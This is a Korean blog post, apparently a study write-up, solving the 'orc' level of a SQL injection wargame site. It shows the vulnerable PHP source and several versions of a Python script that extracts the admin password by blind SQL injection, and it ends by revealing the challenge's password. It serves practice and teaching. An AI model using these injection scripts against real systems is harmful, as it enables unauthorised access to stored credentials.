[WARGAME][los] orc

jckim22·2022년 11월 22일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
96/114

아래는 서버 코드이다.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

아래와 같은 문자를 우회하고 있다.

쿼리가 2개인데 위에 쿼리를 먼저 실행해보겠다.

아래와 같이 처음에 gremlin 문제와 같은 방식으로 참이되게 하여 쿼리의 결과가 있게 만든다.


그럼 아래처럼 Hello admin이라는 문자열이 출력되는 것을 볼 수 있다.

아직까지는 위 쿼리의 의미를 파악하지 못했다.

그렇게 아래 코드를 해석해봤는데 addslashes로 필터링 되어 있는 것을 보았다.
addslashe는 전에 했듯이 euc-kr로 인코딩 되어 있지 않으면 우회할 수 없다.
멀티 바이트를 이용해봤지만 별 수는 없었다.

그런데 멀티 바이트가 가능해도 이 문제를 풀 수 없다는 것을 더 믿을 보고 알았다.

$result['pw'] == $_GET['pw'] 비밀번호 일치 문제이다.
결국 비밀번호를 알아내야 한다는 생각에 blind injection임을 바로 알아챘다.

위에 Hello admin을 이용해서 풀면 되겠다.

개인적으로 코딩이 편하고 재밌어서 더 재밌게 익스플로잇 코드를 짤 수 있었다.

일단 아래와 같이 사전에 인젝션 쿼리를 대입해보고 준비했다.
len으로는 안되는 것 같다,
mssql 함수이고 해서 나는 length를 사용하겠다.

아래처럼 익스플로잇 코드를 짰다.

import requests

url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"

i=0
cookies={
    'PHPSESSID':''
}
while(True):
    i=i+1

    params={
    'pw':f"3'or length(pw)={i} -- "
    }
    

    print(f"try {i}")

    if('admin' in requests.get(url,params=params,cookies=cookies).text):
        print(f"pw length:{i}")
        break

위 코드는 먼저 비밀번호의 길이를 알아내는 코드인데 pw가 를 반복적으로 일치하는지 확인하여 일치한다면 쿼리가 참이 되어서 Hello admin이라는 문자열이 출력될 것이다.
그래서 admin을 기준으로 코드를 작성하고 코드를 돌렸는데


위처럼 비밀번호 길이가 1이라고 나온다..
뭔가 잘못된 것 같아서 살펴보니 admin이라는 문자열은 평상시에도 예시 쿼리문에 존재한다.
그래서 Hello admin이라는 문자열로 바꾸어서 했더니

아래처럼 비밀번호의 길이가 4인 것을 구할 수 있었다.


직접 url에 해봐도

아래처럼 Hello admin이 잘 출력된다.
pw길이가 4로 참이되면서 쿼리의 결과가 있는 것이다.

이제 지금까지 했던 것처럼 substr로 비밀번호를 알아내자.

이중 for문으로 한글자 그리고 그 글자안에서 아스키코드 127범위를 다 돌려서 한 글자씩 알아낸다.

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"

i = 0
pw=""
cookies = {
    'PHPSESSID': ''
}
while (True):
    i = i+1

    params = {
        'pw': f"3'or length(pw)={i} -- "
    }

    print(f"try {i}")

    if ('Hello admin' in requests.get(url, params=params, cookies=cookies).text):
        print(f"pw length:{i}")
        break

    for i in range(1, 5):

        for j in range(1, 128):
            params = {
                'pw': f"3'or substr(pw,{i},1)={chr(j)} -- "
            }
            if ('Hello admin' in requests.get(url, params=params, cookies=cookies).text):
                print(f"pw {i}th : {chr(j)}")
                pw=pw+chr(j)

    
    print(f"password is {pw}")

그런데 아래와 같은 결과가 나온다...

왜 이럴까 했는데 차근차근 생각해보니 j for문에서 2번 걸린 것이니까 비밀번호 자체가 한개가 아니라서 생긴 결과 였다.
아마도 guest의 비밀번호도 존재해서 같이 구하게 된 것 같다.
id가 admin이라고 지정을 해줬어야했다.
admin의 pw의 길이가 4가 아닐수도 있다.

다시 길이를 구해보자
인젝션 쿼리는 간단하게 아래와 같이 수정한다.


구했더니 아래처럼 길이가 8로 나온다.
admin의 비밀번호는 8이었던 것 것이다.

자 그럼 비밀번호를 제대로 구해주자.

아래는 실행 결과이다.


위에 구한 비밀번호를 페이로드로 보내주면 성공하지 않게 된다.
비밀번호가 틀리다는 것인데 ,,
한참을 보다가 실수가 있었다는걸 알았다.
substr(pw,1,1)=a 이런식으로 쿼터를 빼먹고 보내주고 있었다 ..

수정 끝에 완성한 최종 익스플로잇 코드이다.

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"

i = 0
pw=""
plength=0
cookies = {
    'PHPSESSID': ''
}
while (True):
    i = i+1

    params = {
        'pw': f"3'or id='admin' and length(pw)={i} -- "
    }

    print(f"try {i}")

    if ('Hello admin' in requests.get(url, params=params, cookies=cookies).text):
        print(f"pw length:{i}")
        plength=i
        break

for i in range(1, plength+1):
    for j in range(0, 128):
        params = {
            'pw': f"3'or id='admin' and substr(pw,{i},1)='{chr(j)}' -- "
        }
        if ('Hello admin' in requests.get(url, params=params, cookies=cookies).text):
            print(f"pw {i}th : {chr(j)}")
            pw+=chr(j)
            
            break

print(f"password is {pw}")

쿼터와 깜빡하고 있었던 break를 속도 증진을 위해 넣어줬다.

아래는 실행 결과이다.


4가 두번 나왔는데 ascii 함수를 사용하지 않아서 이렇게 되었다.
일단 A나 a중 하나이므로 두개 다 해본결과 095a9852가 패스워드였다.

profile
개발/보안

0개의 댓글